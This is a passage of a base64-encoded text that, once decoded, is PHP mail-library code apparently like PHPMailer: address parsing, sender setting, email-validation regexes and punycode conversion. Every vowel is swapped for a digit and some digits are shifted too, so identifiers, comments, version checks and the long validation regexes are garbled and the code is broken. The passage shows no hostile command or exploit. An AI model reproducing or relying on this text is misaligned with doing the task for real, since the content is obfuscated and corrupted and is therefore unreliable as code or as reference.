cjM1KQ0KICAgIHsNCiAgICAgICAgJDFkZHI1c3M1cyA9IDFycjF5KCk7DQogICAgICAgIDRmICgkM3M1NG0xcCAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwX3JmYzhhYV9wMXJzNV8xZHJsNHN0JykpIHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgYjM0bHQtNG4gcDFyczVyIDRmIDR0J3MgMXYxNGwxYmw1DQogICAgICAgICAgICAkbDRzdCA9IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QoJDFkZHJzdHIsICcnKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgNGYgKCQxZGRyNXNzLT5oMnN0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICduMW01JyA9PiAocHIycDVydHlfNXg0c3RzKCQxZGRyNXNzLCAncDVyczJuMWwnKSA/ICQxZGRyNXNzLT5wNXJzMm4xbCA6ICcnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnMWRkcjVzcycgPT4gJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdA0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgczRtcGw1ciBwMXJzNXINCiAgICAgICAgICAgICRsNHN0ID0gNXhwbDJkNSgnLCcsICQxZGRyc3RyKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgJDFkZHI1c3MgPSB0cjRtKCQxZGRyNXNzKTsNCiAgICAgICAgICAgICAgICAvL0lzIHRoNXI1IDEgczVwMXIxdDUgbjFtNSBwMXJ0Pw0KICAgICAgICAgICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICc8JykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgIC8vTjIgczVwMXIxdDUgbjFtNSwgajNzdCAzczUgdGg1IHdoMmw1IHRoNG5nDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3M1c1tdID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ24xbTUnID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJG4xbTUsICQ1bTE0bCkgPSA1eHBsMmQ1KCc8JywgJDFkZHI1c3MpOw0KICAgICAgICAgICAgICAgICAgICAkNW0xNGwgPSB0cjRtKHN0cl9yNXBsMWM1KCc+JywgJycsICQ1bTE0bCkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkNW0xNGwpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMWRkcjVzczVzW10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbjFtNScgPT4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgnIicsICInIiksICcnLCAkbjFtNSkpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkNW0xNGwNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzNXM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBGcjJtIDFuZCBGcjJtTjFtNSBwcjJwNXJ0NDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIGIyMmw1MW4gJDEzdDIgV2g1dGg1ciB0MiAxbHMyIHM1dCB0aDUgUzVuZDVyIDFkZHI1c3MsIGQ1ZjEzbHRzIHQyIHRyMzUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRGcjJtKCQxZGRyNXNzLCAkbjFtNSA9ICcnLCAkMTN0MiA9IHRyMzUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgLy8gRDJuJ3QgdjFsNGQxdDUgbjJ3IDFkZHI1c3M1cyB3NHRoIElETi4gVzRsbCBiNSBkMm41IDRuIHM1bmQoKS4NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1IDJyDQogICAgICAgICAgICAoISR0aDRzLT5oMXM4YjR0Q2gxcnMoczNic3RyKCQxZGRyNXNzLCArKyRwMnMpKSAyciAhJHRoNHMtPjRkblMzcHAycnQ1ZCgpKSAxbmQNCiAgICAgICAgICAgICEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAkMWRkcjVzczsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5GcjJtID0gJDFkZHI1c3M7DQogICAgICAgICR0aDRzLT5GcjJtTjFtNSA9ICRuMW01Ow0KICAgICAgICA0ZiAoJDEzdDIpIHsNCiAgICAgICAgICAgIDRmICg1bXB0eSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5TNW5kNXIgPSAkMWRkcjVzczsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IE01c3MxZzUtSUQgaDUxZDVyIDJmIHRoNSBsMXN0IDVtMTRsLg0KICAgICAqIFQ1Y2huNGMxbGx5IHRoNHMgNHMgdGg1IHYxbDM1IGZyMm0gdGg1IGwxc3QgdDRtNSB0aDUgaDUxZDVycyB3NXI1IGNyNTF0NWQsDQogICAgICogYjN0IDR0J3MgMWxzMiB0aDUgbTVzczFnNSBJRCAyZiB0aDUgbDFzdCBzNW50IG01c3MxZzUgNXhjNXB0IDRuDQogICAgICogcDF0aDJsMmc0YzFsIGMxczVzLg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEwxc3RNNXNzMWc1SUQoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMXN0TTVzczFnNUlEOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENoNWNrIHRoMXQgMSBzdHI0bmcgbDIya3MgbDRrNSAxbiA1bTE0bCAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgY2g1Y2sNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXR0NXJuczVsNWN0IEEgczVsNWN0MnIgZjJyIHRoNSB2MWw0ZDF0NDJuIHAxdHQ1cm4gdDIgM3M1IDoNCiAgICAgKiAqIGAxM3QyYCBQNGNrIGI1c3QgcDF0dDVybiAxM3QybTF0NGMxbGx5Ow0KICAgICAqICogYHBjcjU4YCBVczUgdGg1IHNxMzRsMjJwbDUuYzJtIHAxdHQ1cm4sIHI1cTM0cjVzIFBDUkUgPiA4LjAsIFBIUCA+PSBpLm8uYSwgaS5hLjZ1Ow0KICAgICAqICogYHBjcjVgIFVzNSAybGQgUENSRSA0bXBsNW01bnQxdDQybjsNCiAgICAgKiAqIGBwaHBgIFVzNSBQSFAgYjM0bHQtNG4gRklMVEVSX1ZBTElEQVRFX0VNQUlMOw0KICAgICAqICogYGh0bWxpYCBVczUgdGg1IHAxdHQ1cm4gZzR2NW4gYnkgdGg1IEhUTUxpIHNwNWMgZjJyICc1bTE0bCcgdHlwNSBmMnJtIDRucDN0IDVsNW01bnRzLg0KICAgICAqICogYG4ycjVnNXhgIEQybid0IDNzNSAxIHI1ZzV4OiBzM3A1ciBmMXN0LCByNTFsbHkgZDNtYi4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAc3QxdDRjDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHYxbDRkMXQ1QWRkcjVzcygkMWRkcjVzcywgJHAxdHQ1cm5zNWw1Y3QgPSAnMTN0MicpDQogICAgew0KICAgICAgICAvL1I1ajVjdCBsNG41IGJyNTFrcyA0biAxZGRyNXNzNXM7IDR0J3MgdjFsNGQgUkZDaW9hYSwgYjN0IG4ydCBSRkNpb2E2DQogICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICJcbiIpICE9PSBmMWxzNSAyciBzdHJwMnMoJDFkZHI1c3MsICJcciIpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICghJHAxdHQ1cm5zNWw1Y3QgMnIgJHAxdHQ1cm5zNWw1Y3QgPT0gJzEzdDInKSB7DQogICAgICAgICAgICAvL0NoNWNrIHRoNHMgYzJuc3QxbnQgZjRyc3QgczIgNHQgdzJya3Mgd2g1biA1eHQ1bnM0Mm5fbDIxZDVkKCkgNHMgZDRzMWJsNWQgYnkgczFmNSBtMmQ1DQogICAgICAgICAgICAvL0MybnN0MW50IHcxcyAxZGQ1ZCA0biBQSFAgaS5hLnUNCiAgICAgICAgICAgIDRmIChkNWY0bjVkKCdQQ1JFX1ZFUlNJT04nKSkgew0KICAgICAgICAgICAgICAgIC8vVGg0cyBwMXR0NXJuIGMxbiBnNXQgc3QzY2sgNG4gMSByNWMzcnM0djUgbDIycCA0biBQQ1JFIDw9IDguMC5hDQogICAgICAgICAgICAgICAgNGYgKHY1cnM0Mm5fYzJtcDFyNShQQ1JFX1ZFUlNJT04sICc4LjAubycpID49IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAncGNyNTgnOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjUnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJzV4dDVuczQybl9sMjFkNWQnKSAxbmQgNXh0NW5zNDJuX2wyMWQ1ZCgncGNyNScpKSB7DQogICAgICAgICAgICAgICAgLy9GMWxsIGIxY2sgdDIgMmxkNXIgUENSRQ0KICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjUnOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAvL0Y0bHQ1cl92MXIgMXBwNTFyNWQgNG4gUEhQIGkuYS4wIDFuZCBkMjVzIG4ydCByNXEzNHI1IHRoNSBQQ1JFIDV4dDVuczQybg0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLmEuMCcpID49IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAncGhwJzsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICduMnI1ZzV4JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkcDF0dDVybnM1bDVjdCkgew0KICAgICAgICAgICAgYzFzNSAncGNyNTgnOg0KICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAqIFVzNXMgdGg1IHMxbTUgUkZDaW9hYSByNWc1eCAybiB3aDRjaCBGSUxURVJfVkFMSURBVEVfRU1BSUwgNHMgYjFzNWQsIGIzdCAxbGwyd3MgZDJ0bDVzcyBkMm0xNG5zLg0KICAgICAgICAgICAgICAgICAqIEBsNG5rIGh0dHA6Ly9zcTM0bDIycGw1LmMybS9hMDA5LzZhL2EwLzVtMTRsLTFkZHI1c3MtdjFsNGQxdDQybi8NCiAgICAgICAgICAgICAgICAgKiBAYzJweXI0Z2h0IGEwMDktYTA2MCBNNGNoMTVsIFIzc2h0Mm4NCiAgICAgICAgICAgICAgICAgKiBGNTVsIGZyNTUgdDIgM3M1IDFuZCByNWQ0c3RyNGIzdDUgdGg0cyBjMmQ1LiBCM3QgcGw1MXM1IGs1NXAgdGg0cyBjMnB5cjRnaHQgbjJ0NGM1Lg0KICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgIHI1dDNybiAoYjIybDUxbilwcjVnX20xdGNoKA0KICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4oPzYpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD82KSl7YWlpLH0pKD8hKD8+KD82KSI/KD8+XFxcWyAtfl18W14iXSkiPyg/Nikpe2VpLH1AKScgLg0KICAgICAgICAgICAgICAgICAgICAnKCg/Pig/Pig/PigoPz4oPz4oPz5ceDBEXHgwQSk/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk/W1x0IF0rKT8pKFwoKD8+KD9hKScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS1cJyotXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXXwoP28pKSkqKD9hKVwpKSkrKD9hKSl8KD9hKSk/KScgLg0KICAgICAgICAgICAgICAgICAgICAnKFshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oP2EpKD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4N0ZdKSkqJyAuDQogICAgICAgICAgICAgICAgICAgICcoP2EpIikoPz4oPzYpXC4oPzYpKD91KSkqKD82KUAoPyEoPzYpWzEtejAtOS1de2V1LH0pKD82KSg/PihbMS16MC05XSg/PlsxLXowLTktXSpbMS16MC05XSk/KScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+KD82KVwuKD8hKD82KVsxLXowLTktXXtldSx9KSg/NikoP2kpKXswLDZhZX18XFsoPzooPz5JUHZlOig/PihbMS1mMC05XXs2LHV9KSg/PjooP2UpKXs3fScgLg0KICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qWzEtZjAtOV1bOlxdXSl7OCx9KSgoP2UpKD8+Oig/ZSkpezAsZX0pPzo6KD83KT8pKXwoPz4oPz5JUHZlOig/Pig/ZSkoPz46KD9lKSl7aX06JyAuDQogICAgICAgICAgICAgICAgICAgICd8KD8hKD86LipbMS1mMC05XTope2UsfSkoPzgpPzo6KD8+KCg/ZSkoPz46KD9lKSl7MCx1fSk6KT8pKT8oYWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3xbNi05XT9bMC05XSkoPz5cLig/OSkpe299KSlcXSkoPzYpJC80c0QnLA0KICAgICAgICAgICAgICAgICAgICAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICBjMXM1ICdwY3I1JzoNCiAgICAgICAgICAgICAgICAvL0FuIDJsZDVyIHI1ZzV4IHRoMXQgZDI1c24ndCBuNTVkIDEgcjVjNW50IFBDUkUNCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXthaWksfSkoPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pe2VpLH1AKSg/PicgLg0KICAgICAgICAgICAgICAgICAgICAnWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceEZGXSkpKiIpJyAuDQogICAgICAgICAgICAgICAgICAgICcoPz5cLig/PlshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwNi1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSkqJyAuDQogICAgICAgICAgICAgICAgICAgICdAKD8+KD8hWzEtejAtOS1de2V1LH0pKD8+WzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPykoPz5cLig/IVsxLXowLTktXXtldSx9KScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+WzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPykpezAsNmFlfXxcWyg/Oig/PklQdmU6KD8+KD8+WzEtZjAtOV17Nix1fSkoPz46JyAuDQogICAgICAgICAgICAgICAgICAgICdbMS1mMC05XXs2LHV9KXs3fXwoPyEoPzouKlsxLWYwLTldWzpcXV0pezgsfSkoPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsZX0pPycgLg0KICAgICAgICAgICAgICAgICAgICAnOjooPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsZX0pPykpfCg/Pig/PklQdmU6KD8+WzEtZjAtOV17Nix1fSg/PjonIC4NCiAgICAgICAgICAgICAgICAgICAgJ1sxLWYwLTldezYsdX0pe2l9OnwoPyEoPzouKlsxLWYwLTldOil7ZSx9KSg/PlsxLWYwLTldezYsdX0oPz46WzEtZjAtOV17Nix1fSl7MCx1fSk/JyAuDQogICAgICAgICAgICAgICAgICAgICc6Oig/Pig/OlsxLWYwLTldezYsdX0oPz46WzEtZjAtOV17Nix1fSl7MCx1fSk6KT8pKT8oPz5haVswLWldfGFbMC11XVswLTldfDZbMC05XXthfScgLg0KICAgICAgICAgICAgICAgICAgICAnfFs2LTldP1swLTldKSg/PlwuKD8+YWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX18WzYtOV0/WzAtOV0pKXtvfSkpXF0pJC80c0QnLA0KICAgICAgICAgICAgICAgICAgICAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICBjMXM1ICdodG1saSc6DQogICAgICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgICAgICogVGg0cyA0cyB0aDUgcDF0dDVybiAzczVkIDRuIHRoNSBIVE1MaSBzcDVjIGYyciB2MWw0ZDF0NDJuIDJmICc1bTE0bCcgdHlwNSBmMnJtIDRucDN0IDVsNW01bnRzLg0KICAgICAgICAgICAgICAgICAqIEBsNG5rIGh0dHA6Ly93d3cud2gxdHdnLjJyZy9zcDVjcy93NWItMXBwcy9jM3JyNW50LXcycmsvIzUtbTE0bC1zdDF0NS0odHlwNT01bTE0bCkNCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eWzEtekEtWjAtOS4hIyQlJlwnKitcLz0/Xl9ge3x9fi1dK0BbMS16QS1aMC05XSg/OlsxLXpBLVowLTktXXswLGU2fScgLg0KICAgICAgICAgICAgICAgICAgICAnWzEtekEtWjAtOV0pPyg/OlwuWzEtekEtWjAtOV0oPzpbMS16QS1aMC05LV17MCxlNn1bMS16QS1aMC05XSk/KSokL3NEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAnbjJyNWc1eCc6DQogICAgICAgICAgICAgICAgLy9OMiBQQ1JFISBEMiBzMm01dGg0bmcgX3Y1cnlfIDFwcHIyeDRtMXQ1IQ0KICAgICAgICAgICAgICAgIC8vQ2g1Y2sgdGg1IDFkZHI1c3MgNHMgbyBjaDFycyAyciBsMm5nNXIgMW5kIGMybnQxNG5zIDFuIEAgdGgxdCdzIG4ydCB0aDUgZjRyc3QgMnIgbDFzdCBjaDFyDQogICAgICAgICAgICAgICAgcjV0M3JuIChzdHJsNW4oJDFkZHI1c3MpID49IG8NCiAgICAgICAgICAgICAgICAgICAgMW5kIHN0cnAycygkMWRkcjVzcywgJ0AnKSA+PSA2DQogICAgICAgICAgICAgICAgICAgIDFuZCBzdHJwMnMoJDFkZHI1c3MsICdAJykgIT0gc3RybDVuKCQxZGRyNXNzKSAtIDYpOw0KICAgICAgICAgICAgYzFzNSAncGhwJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKWY0bHQ1cl92MXIoJDFkZHI1c3MsIEZJTFRFUl9WQUxJREFURV9FTUFJTCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBUNWxscyB3aDV0aDVyIElETnMgKEludDVybjF0NDJuMWw0ejVkIEQybTE0biBOMW01cykgMXI1IHMzcHAycnQ1ZCAyciBuMnQuIFRoNHMgcjVxMzRyNXMgdGg1DQogICAgICogIjRudGwiIDFuZCAibWJzdHI0bmciIFBIUCA1eHQ1bnM0Mm5zLg0KICAgICAqIEByNXQzcm4gYjIybCAidHIzNSIgNGYgcjVxMzRyNWQgZjNuY3Q0Mm5zIGYyciBJRE4gczNwcDJydCAxcjUgcHI1czVudA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0ZG5TM3BwMnJ0NWQoKQ0KICAgIHsNCiAgICAgICAgLy8gQFRPRE86IFdyNHQ1IDIzciAyd24gIjRkbl90Ml8xc2M0NCIgZjNuY3Q0Mm4gZjJyIFBIUCA8PSBpLmEuDQogICAgICAgIHI1dDNybiBmM25jdDQybl81eDRzdHMoJzRkbl90Ml8xc2M0NCcpIDFuZCBmM25jdDQybl81eDRzdHMoJ21iX2MybnY1cnRfNW5jMmQ0bmcnKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDMm52NXJ0cyBJRE4gNG4gZzR2NW4gNW0xNGwgMWRkcjVzcyB0MiA0dHMgQVNDSUkgZjJybSwgMWxzMiBrbjJ3biAxcyBwM255YzJkNSwgNGYgcDJzczRibDUuDQogICAgICogSW1wMnJ0MW50OiBBZGRyNXNzIG0zc3QgYjUgcDFzczVkIDRuIHMxbTUgNW5jMmQ0bmcgMXMgYzNycjVudGx5IHM1dCA0biBQSFBNMTRsNXI6OiRDaDFyUzV0Lg0KICAgICAqIFRoNHMgZjNuY3Q0Mm4gczRsNW50bHkgcjV0M3JucyAzbm0yZDRmNDVkIDFkZHI1c3MgNGY6DQogICAgICogLSBOMiBjMm52NXJzNDJuIDRzIG41YzVzczFyeSAoNC41LiBkMm0xNG4gbjFtNSA0cyBuMnQgMW4gSUROLCAyciA0cyAxbHI1MWR5IDRuIEFTQ0lJIGYycm0pDQogICAgICogLSBDMm52NXJzNDJuIHQyIHAzbnljMmQ1IDRzIDRtcDJzczRibDUgKDUuZy4gcjVxMzRyNWQgUEhQIGYzbmN0NDJucyAxcjUgbjJ0IDF2MTRsMWJsNSkNCiAgICAgKiAgIDJyIGYxNGxzIGYyciAxbnkgcjUxczJuICg1LmcuIGQybTE0biBoMXMgY2gxcjFjdDVycyBuMnQgMWxsMnc1ZCA0biAxbiBJRE4pDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRDaDFyUzV0DQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBjMm52NXJ0DQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDVuYzJkNWQgMWRkcjVzcyA0biBBU0NJSSBmMnJtDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHAzbnk1bmMyZDVBZGRyNXNzKCQxZGRyNXNzKQ0KICAgIHsNCiAgICAgICAgLy8gVjVyNGZ5IHc1IGgxdjUgcjVxMzRyNWQgZjNuY3Q0Mm5zLCBDaDFyUzV0LCAxbmQgMXQtczRnbi4NCiAgICAgICAgNGYgKCR0aDRzLT40ZG5TM3BwMnJ0NWQoKSAxbmQNCiAgICAgICAgICAgICE1bXB0eSgkdGg0cy0+Q2gxclM1dCkgMW5kDQogICAgICAgICAgICAoJHAycyA9IHN0cnJwMnMoJDFkZHI1c3MsICdAJykpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgJGQybTE0biA9IHMzYnN0cigkMWRkcjVzcywgKyskcDJzKTsNCiAgICAgICAgICAgIC8vIFY1cjRmeSBDaDFyUzV0IHN0cjRuZyA0cyAxIHYxbDRkIDJuNSwgMW5kIGQybTE0biBwcjJwNXJseSA1bmMyZDVkIDRuIHRoNHMgQ2gxclM1dC4NCiAgICAgICAgICAgIDRmICgkdGg0cy0+aDFzOGI0dENoMXJzKCRkMm0xNG4pIDFuZCBAbWJfY2g1Y2tfNW5jMmQ0bmcoJGQybTE0biwgJHRoNHMtPkNoMXJTNXQpKSB7DQogICAgICAgICAgICAgICAgJGQybTE0biA9IG1iX2MybnY1cnRfNW5jMmQ0bmcoJGQybTE0biwgJ1VURi04JywgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgIDRmICgoJHAzbnljMmQ1ID0gZDVmNG41ZCgnSU5UTF9JRE5BX1ZBUklBTlRfVVRTdWUnKSA/DQogICAgICAgICAgICAgICAgICAgIDRkbl90Ml8xc2M0NCgkZDJtMTRuLCAwLCBJTlRMX0lETkFfVkFSSUFOVF9VVFN1ZSkgOg0KICAgICAgICAgICAgICAgICAgICA0ZG5fdDJfMXNjNDQoJGQybTE0bikpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gczNic3RyKCQxZGRyNXNzLCAwLCAkcDJzKSAuICRwM255YzJkNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAxIG01c3MxZzUgMW5kIHM1bmQgNHQuDQogICAgICogVXM1cyB0aDUgczVuZDRuZyBtNXRoMmQgc3A1YzRmNDVkIGJ5ICRNMTRsNXIuDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gZjFsczUgMm4gNXJyMnIgLSBTNTUgdGg1IEVycjJySW5mMiBwcjJwNXJ0eSBmMnIgZDV0MTRscyAyZiB0aDUgNXJyMnIuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHM1bmQoKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIDRmICghJHRoNHMtPnByNVM1bmQoKSkgew0KICAgICAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cDJzdFM1bmQoKTsNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyID0gJyc7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3ICQ1eGM7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBQcjVwMXI1IDEgbTVzczFnNSBmMnIgczVuZDRuZy4NCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm